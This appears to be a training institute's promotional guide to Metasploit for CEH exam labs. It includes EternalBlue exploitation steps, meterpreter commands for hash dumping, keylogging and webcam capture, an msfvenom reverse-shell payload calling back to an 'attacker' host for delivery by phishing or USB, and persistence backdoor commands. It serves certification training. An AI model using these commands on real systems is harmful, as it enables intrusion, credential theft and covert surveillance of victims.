How to Use Metasploit for CEH Labs Practice?
2025-2026 complete step-by-step guide to mastering Metasploit for CEH v12 & v13 labs and practical exam. Learn msfconsole, exploit modules, payloads, meterpreter, post-exploitation, EternalBlue, privilege escalation, persistence with exact commands and how Ethical Hacking Training Institute gives you 200+ real vulnerable machines for daily Metasploit practice.
Introduction
Metasploit appears in every CEH practical exam and gives you 5–8 flags instantly. EternalBlue, MS17-010, weak services, client-side exploits — all are cracked using Metasploit in minutes. Students who master Metasploit finish exploitation section in under 1 hour. At Ethical Hacking Training Institute we give 200+ real vulnerable Windows & Linux machines with daily new exploits so you become Metasploit expert in 30 days and clear CEH Practical with full marks.
Top 10 Metasploit Modules You Must Master for CEH
| Rank | Module | Target | Exam Frequency |
|---|---|---|---|
| 1 | exploit/windows/smb/ms17_010_eternalblue | Windows 7/Server 2008 | Every exam |
| 2 | exploit/multi/handler | Reverse shell listener | Very High |
| 3 | exploit/windows/rdp/cve_2019_0708_bluekeep | RDP vulnerability | High |
Master EternalBlue exploits.
Step-by-Step Metasploit Workflow for CEH Practical
- msfconsole → start framework
- search eternalblue → find module
- use exploit/windows/smb/ms17_010_eternalblue
- set RHOSTS target_ip
- set payload windows/x64/meterpreter/reverse_tcp
- exploit → get meterpreter session
Meterpreter – Your Post-Exploitation Best Friend
Meterpreter gives you full control. Commands: sysinfo, getuid, hashdump, keyscan_start, webcam_snap, screenshot, migrate, persistence -X. Dump SAM hashes, take webcam photos, record keystrokes — all tested in CEH practical. Our lab has 100+ Windows machines for daily meterpreter practice.
Use meterpreter post-exploitation.
Client-Side Exploits & Payload Generation
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f exe > evil.exe
- Java applet, PDF, Android APK payloads
- Deliver via phishing or USB
- multi/handler to catch connection
- Our lab has 50+ client-side vulnerable apps
Privilege Escalation with Metasploit
getsystem → automatic Windows privesc. getsystem -t 1 (token duplication), -t 2 (bypass UAC). For Linux: local exploits like Dirty COW. post/windows/escalate or post/linux/escalate modules. We teach 20+ privesc techniques daily.
Maintaining Access & Persistence
- persistence -U -i 10 -p 4444 -r attacker_ip
- metsvc → hidden service backdoor
- registry Run keys
- Survive reboot & AV
- Our lab tests persistence every session
Create persistent backdoors.
